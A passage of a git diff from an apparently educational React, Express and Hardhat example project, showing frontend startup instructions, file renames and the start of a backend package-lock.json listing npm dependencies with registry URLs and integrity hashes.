+- Startup react （open new terminal)
+
+```shell
+cd frontend
+#Please ensure that it is already present the HARDHAT_NETWORK_ ID in src/components/Dapp.js has been modified to the corresponding network ID
+yarn
+yarn start
+```
+
+## References
+
+- https://github.com/dzzzzzy/Nestjs-Learning  
+- https://docs.nestjs.cn/8/firststeps  
+- https://github.com/HeyiMaster/nest-starter nestjs
+- https://www.bilibili.com/video/BV1bQ4y1A77L?p=4 netstjs Bilibili
diff --git a/Example11-react-express-hardhat/backend/app.js b/basic/11-react-express-hardhat/backend/app.js
similarity index 100%
rename from Example11-react-express-hardhat/backend/app.js
rename to basic/11-react-express-hardhat/backend/app.js
diff --git a/Example11-react-express-hardhat/backend/controller.js b/basic/11-react-express-hardhat/backend/controller.js
similarity index 100%
rename from Example11-react-express-hardhat/backend/controller.js
rename to basic/11-react-express-hardhat/backend/controller.js
diff --git a/Example11-react-express-hardhat/backend/db.js b/basic/11-react-express-hardhat/backend/db.js
similarity index 100%
rename from Example11-react-express-hardhat/backend/db.js
rename to basic/11-react-express-hardhat/backend/db.js
diff --git a/basic/11-react-express-hardhat/backend/package-lock.json b/basic/11-react-express-hardhat/backend/package-lock.json
new file mode 100644
index 000000000..0f8d89982
--- /dev/null
+++ b/basic/11-react-express-hardhat/backend/package-lock.json
@@ -0,0 +1,1759 @@
+{
+  "name": "backend",
+  "version": "1.0.0",
+  "lockfileVersion": 1,
+  "requires": true,
+  "dependencies": {
+    "@gar/promisify": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz",
+      "integrity": "sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==",
+      "optional": true
+    },
+    "@mapbox/node-pre-gyp": {
+      "version": "1.0.10",
+      "resolved": "https://registry.npmjs.org/@mapbox/node-pre-gyp/-/node-pre-gyp-1.0.10.tgz",
+      "integrity": "sha512-4ySo4CjzStuprMwk35H5pPbkymjv1SF3jGLj6rAHp/xT/RF7TL7bd9CTm1xDY49K2qF7jmR/g7k+SkLETP6opA==",
+      "requires": {
+        "detect-libc": "^2.0.0",
+        "https-proxy-agent": "^5.0.0",
+        "make-dir": "^3.1.0",
+        "node-fetch": "^2.6.7",
+        "nopt": "^5.0.0",
+        "npmlog": "^5.0.1",
+        "rimraf": "^3.0.2",
+        "semver": "^7.3.5",
+        "tar": "^6.1.11"
+      }
+    },
+    "@npmcli/fs": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-1.1.1.tgz",
+      "integrity": "sha512-8KG5RD0GVP4ydEzRn/I4BNDuxDtqVbOdm8675T49OIG/NGhaK0pjPX7ZcDlvKYbA+ulvVK3ztfcF4uBdOxuJbQ==",
+      "optional": true,
+      "requires": {
+        "@gar/promisify": "^1.0.1",
+        "semver": "^7.3.5"
+      }
+    },
+    "@npmcli/move-file": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-1.1.2.tgz",
+      "integrity": "sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg==",
+      "optional": true,
+      "requires": {
+        "mkdirp": "^1.0.4",
+        "rimraf": "^3.0.2"
+      }
+    },
+    "@tootallnate/once": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz",
+      "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==",
+      "optional": true
+    },
+    "abbrev": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz",
+      "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q=="
+    },
+    "accepts": {
+      "version": "1.3.7",
+      "resolved": "https://registry.npm.taobao.org/accepts/download/accepts-1.3.7.tgz",
+      "integrity": "sha1-UxvHJlF6OytB+FACHGzBXqq1B80=",
+      "requires": {
+        "mime-types": "~2.1.24",
+        "negotiator": "0.6.2"
+      }
+    },
+    "agent-base": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
+      "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
+      "requires": {
+        "debug": "4"
+      },
+      "dependencies": {
+        "debug": {
+          "version": "4.3.4",
+          "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+          "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+          "requires": {
+            "ms": "2.1.2"
+          }
+        },
+        "ms": {
+          "version": "2.1.2",
+          "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+          "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+        }
+      }
+    },
+    "agentkeepalive": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.3.0.tgz",
+      "integrity": "sha512-7Epl1Blf4Sy37j4v9f9FjICCh4+KAQOyXgHEwlyBiAQLbhKdq/i2QQU3amQalS/wPhdPzDXPL5DMR5bkn+YeWg==",
+      "optional": true,
+      "requires": {
+        "debug": "^4.1.0",
+        "depd": "^2.0.0",
+        "humanize-ms": "^1.2.1"
+      },
+      "dependencies": {
+        "debug": {
+          "version": "4.3.4",
+          "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+          "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+          "optional": true,
+          "requires": {
+            "ms": "2.1.2"
+          }
+        },
+        "ms": {
+          "version": "2.1.2",
+          "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+          "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+          "optional": true
+        }
+      }
+    },
+    "aggregate-error": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz",
+      "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==",
+      "optional": true,
+      "requires": {
+        "clean-stack": "^2.0.0",
+        "indent-string": "^4.0.0"
+      }
+    },
+    "ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+    },
+    "aproba": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.0.0.tgz",
+      "integrity": "sha512-lYe4Gx7QT+MKGbDsA+Z+he/Wtef0BiwDOlK/XkBrdfsh9J/jPPXbX0tE9x9cl27Tmu5gg3QUbUrQYa/y+KOHPQ=="
+    },
+    "are-we-there-yet": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-2.0.0.tgz",
+      "integrity": "sha512-Ci/qENmwHnsYo9xKIcUJN5LeDKdJ6R1Z1j9V/J5wyq8nh/mYPEpIKJbBZXtZjG04HiK7zV/p6Vs9952MrMeUIw==",
+      "requires": {
+        "delegates": "^1.0.0",
+        "readable-stream": "^3.6.0"
+      }
+    },
+    "array-flatten": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
+      "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg=="
+    },
+    "balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
+    },
+    "body-parser": {
+      "version": "1.20.3",
+      "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.3.tgz",
+      "integrity": "sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==",
+      "requires": {
+        "bytes": "3.1.2",
+        "content-type": "~1.0.5",
+        "debug": "2.6.9",
+        "depd": "2.0.0",
+        "destroy": "1.2.0",
+        "http-errors": "2.0.0",
+        "iconv-lite": "0.4.24",
+        "on-finished": "2.4.1",
+        "qs": "6.13.0",
+        "raw-body": "2.5.2",
+        "type-is": "~1.6.18",
+        "unpipe": "1.0.0"
+      }
+    },
+    "brace-expansion": {
+      "version": "1.1.11",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
+      "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
+      "requires": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
+    "bytes": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
+      "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg=="
+    },
+    "cacache": {
+      "version": "15.3.0",
+      "resolved": "https://registry.npmjs.org/cacache/-/cacache-15.3.0.tgz",
+      "integrity": "sha512-VVdYzXEn+cnbXpFgWs5hTT7OScegHVmLhJIR8Ufqk3iFD6A6j5iSX1KuBTfNEv4tdJWE2PzA6IVFtcLC7fN9wQ==",
+      "optional": true,
+      "requires": {
+        "@npmcli/fs": "^1.0.0",
+        "@npmcli/move-file": "^1.0.1",
+        "chownr": "^2.0.0",
+        "fs-minipass": "^2.0.0",
+        "glob": "^7.1.4",
+        "infer-owner": "^1.0.4",
+        "lru-cache": "^6.0.0",
+        "minipass": "^3.1.1",
+        "minipass-collect": "^1.0.2",
+        "minipass-flush": "^1.0.5",
+        "minipass-pipeline": "^1.2.2",
+        "mkdirp": "^1.0.3",
+        "p-map": "^4.0.0",
+        "promise-inflight": "^1.0.1",
+        "rimraf": "^3.0.2",
+        "ssri": "^8.0.1",
+        "tar": "^6.0.2",
+        "unique-filename": "^1.1.1"
+      },
+      "dependencies": {
+        "minipass": {
+          "version": "3.3.6",
+          "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
+          "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
+          "optional": true,
+          "requires": {
+            "yallist": "^4.0.0"
+          }
+        }
+      }
+    },
+    "call-bind": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz",
+      "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==",
+      "requires": {
+        "es-define-property": "^1.0.0",
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2",
+        "get-intrinsic": "^1.2.4",
+        "set-function-length": "^1.2.1"
+      },
+      "dependencies": {
+        "function-bind": {
+          "version": "1.1.2",
+          "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
+          "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="
+        }
+      }
+    },
+    "chownr": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz",
+      "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ=="
+    },
+    "clean-stack": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz",
+      "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==",
+      "optional": true
+    },
+    "color-support": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz",
+      "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg=="
+    },
+    "colorette": {
+      "version": "2.0.19",
+      "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.19.tgz",
+      "integrity": "sha512-3tlv/dIP7FWvj3BsbHrGLJ6l/oKh1O3TcgBqMn+yyCagOxc23fyzDS6HypQbgxWbkpDnf52p1LuR4eWDQ/K9WQ=="
+    },
+    "commander": {
+      "version": "9.5.0",
+      "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz",
+      "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ=="
+    },
+    "compressible": {
+      "version": "2.0.18",
+      "resolved": "https://registry.npm.taobao.org/compressible/download/compressible-2.0.18.tgz",
+      "integrity": "sha1-r1PMprBw1MPAdQ+9dyhqbXzEb7o=",
+      "requires": {
+        "mime-db": ">= 1.43.0 < 2"
+      }
+    },
+    "compression": {
+      "version": "1.7.4",
+      "resolved": "https://registry.npm.taobao.org/compression/download/compression-1.7.4.tgz",
+      "integrity": "sha1-lVI+/xcMpXwpoMpB5v4TH0Hlu48=",
+      "requires": {
+        "accepts": "~1.3.5",
+        "bytes": "3.0.0",
+        "compressible": "~2.0.16",
+        "debug": "2.6.9",
+        "on-headers": "~1.0.2",
+        "safe-buffer": "5.1.2",
+        "vary": "~1.1.2"
+      },
+      "dependencies": {
+        "bytes": {
+          "version": "3.0.0",
+          "resolved": "https://registry.npm.taobao.org/bytes/download/bytes-3.0.0.tgz",
+          "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg="
+        }
+      }
+    },
+    "concat-map": {
+      "version": "0.0.1",
+      "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
+      "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg=="
+    },
+    "console-control-strings": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz",
+      "integrity": "sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ=="
+    },
+    "content-disposition": {
+      "version": "0.5.4",
+      "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
+      "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==",
+      "requires": {
+        "safe-buffer": "5.2.1"
+      },
+      "dependencies": {
+        "safe-buffer": {
+          "version": "5.2.1",
+          "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+          "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="
+        }
+      }
+    },
+    "content-type": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
+      "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA=="
+    },
+    "cookie": {
+      "version": "0.7.1",
+      "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.1.tgz",
+      "integrity": "sha512-6DnInpx7SJ2AK3+CTUE/ZM0vWTUboZCegxhC2xiIydHR9jNuTAASBrfEpHhiGOZw/nX51bHt6YQl8jsGo4y/0w=="
+    },
+    "cookie-signature": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
+      "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ=="
+    },
+    "cors": {
+      "version": "2.8.5",
+      "resolved": "https://registry.npm.taobao.org/cors/download/cors-2.8.5.tgz",
+      "integrity": "sha1-6sEdpRWS3Ya58G9uesKTs9+HXSk=",
+      "requires": {
+        "object-assign": "^4",
+        "vary": "^1"
+      }
+    },
+    "debug": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npm.taobao.org/debug/download/debug-2.6.9.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-2.6.9.tgz",
+      "integrity": "sha1-XRKFFd8TT/Mn6QpMk/Tgd6U2NB8=",
+      "requires": {
+        "ms": "2.0.0"
+      }
+    },
+    "define-data-property": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz",
+      "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==",
+      "requires": {
+        "es-define-property": "^1.0.0",
+        "es-errors": "^1.3.0",
+        "gopd": "^1.0.1"
+      }
+    },
+    "delegates": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz",
+      "integrity": "sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ=="
+    },
+    "depd": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
+      "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw=="
+    },
+    "destroy": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",
+      "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg=="
+    },
+    "detect-libc": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.0.1.tgz",
+      "integrity": "sha512-463v3ZeIrcWtdgIg6vI6XUncguvr2TnGl4SzDXinkt9mSLpBJKXT3mW6xT3VQdDN11+WVs29pgvivTc4Lp8v+w=="
+    },
+    "ee-first": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
+      "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow=="
+    },
+    "emoji-regex": {
+      "version": "8.0.0",
+      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
+    },
+    "encodeurl": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",
+      "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg=="
+    },
+    "encoding": {
+      "version": "0.1.13",
+      "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz",
+      "integrity": "sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==",
+      "optional": true,
+      "requires": {
+        "iconv-lite": "^0.6.2"
+      },
+      "dependencies": {
+        "iconv-lite": {
+          "version": "0.6.3",
+          "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
+          "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
+          "optional": true,
+          "requires": {
+            "safer-buffer": ">= 2.1.2 < 3.0.0"
+          }
+        }
+      }
+    },
+    "env-paths": {
+      "version": "2.2.1",
+      "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz",
+      "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==",
+      "optional": true
+    },
+    "err-code": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz",
+      "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==",
+      "optional": true
+    },
+    "es-define-property": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.0.tgz",
+      "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==",
+      "requires": {
+        "get-intrinsic": "^1.2.4"
+      }
+    },
+    "es-errors": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
+      "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw=="
+    },
+    "escalade": {
+      "version": "3.1.1",
+      "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz",
+      "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw=="
+    },
+    "escape-html": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
+      "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="
+    },
+    "esm": {
+      "version": "3.2.25",
+      "resolved": "https://registry.npmjs.org/esm/-/esm-3.2.25.tgz",
+      "integrity": "sha512-U1suiZ2oDVWv4zPO56S0NcR5QriEahGtdN2OR6FiOG4WJvcjBVFB0qI4+eKoWFH483PKGuLuu6V8Z4T5g63UVA=="
+    },
+    "etag": {
+      "version": "1.8.1",
+      "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
+      "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg=="
+    },
+    "express": {
+      "version": "4.21.2",
+      "resolved": "https://registry.npmjs.org/express/-/express-4.21.2.tgz",
+      "integrity": "sha512-28HqgMZAmih1Czt9ny7qr6ek2qddF4FclbMzwhCREB6OFfH+rXAnuNCwo1/wFvrtbgsQDb4kSbX9de9lFbrXnA==",
+      "requires": {
+        "accepts": "~1.3.8",
+        "array-flatten": "1.1.1",
+        "body-parser": "1.20.3",
+        "content-disposition": "0.5.4",
+        "content-type": "~1.0.4",
+        "cookie": "0.7.1",
+        "cookie-signature": "1.0.6",
+        "debug": "2.6.9",
+        "depd": "2.0.0",
+        "encodeurl": "~2.0.0",
+        "escape-html": "~1.0.3",
+        "etag": "~1.8.1",
+        "finalhandler": "1.3.1",
+        "fresh": "0.5.2",
+        "http-errors": "2.0.0",
+        "merge-descriptors": "1.0.3",
+        "methods": "~1.1.2",
+        "on-finished": "2.4.1",
+        "parseurl": "~1.3.3",
+        "path-to-regexp": "0.1.12",
+        "proxy-addr": "~2.0.7",
+        "qs": "6.13.0",
+        "range-parser": "~1.2.1",
+        "safe-buffer": "5.2.1",
+        "send": "0.19.0",
+        "serve-static": "1.16.2",
+        "setprototypeof": "1.2.0",
+        "statuses": "2.0.1",
+        "type-is": "~1.6.18",
+        "utils-merge": "1.0.1",
+        "vary": "~1.1.2"
+      },
+      "dependencies": {
+        "accepts": {
+          "version": "1.3.8",
+          "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
+          "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",
+          "requires": {
+            "mime-types": "~2.1.34",
+            "negotiator": "0.6.3"
+          }
+        },
+        "mime-db": {
+          "version": "1.52.0",
+          "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
+          "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="
+        },
+        "mime-types": {
+          "version": "2.1.35",
+          "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
+          "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
+          "requires": {
+            "mime-db": "1.52.0"
+          }
+        },
+        "negotiator": {
+          "version": "0.6.3",
+          "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
+          "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg=="
+        },
+        "safe-buffer": {
+          "version": "5.2.1",
+          "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+          "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="
+        }
+      }
+    },
+    "finalhandler": {
+      "version": "1.3.1",
+      "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.1.tgz",
+      "integrity": "sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==",
+      "requires": {
+        "debug": "2.6.9",
+        "encodeurl": "~2.0.0",
+        "escape-html": "~1.0.3",
+        "on-finished": "2.4.1",
+        "parseurl": "~1.3.3",
+        "statuses": "2.0.1",
+        "unpipe": "~1.0.0"
+      }
+    },
+    "forwarded": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
+      "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow=="
+    },
+    "fresh": {
+      "version": "0.5.2",
+      "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
+      "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q=="
+    },
+    "fs-minipass": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz",
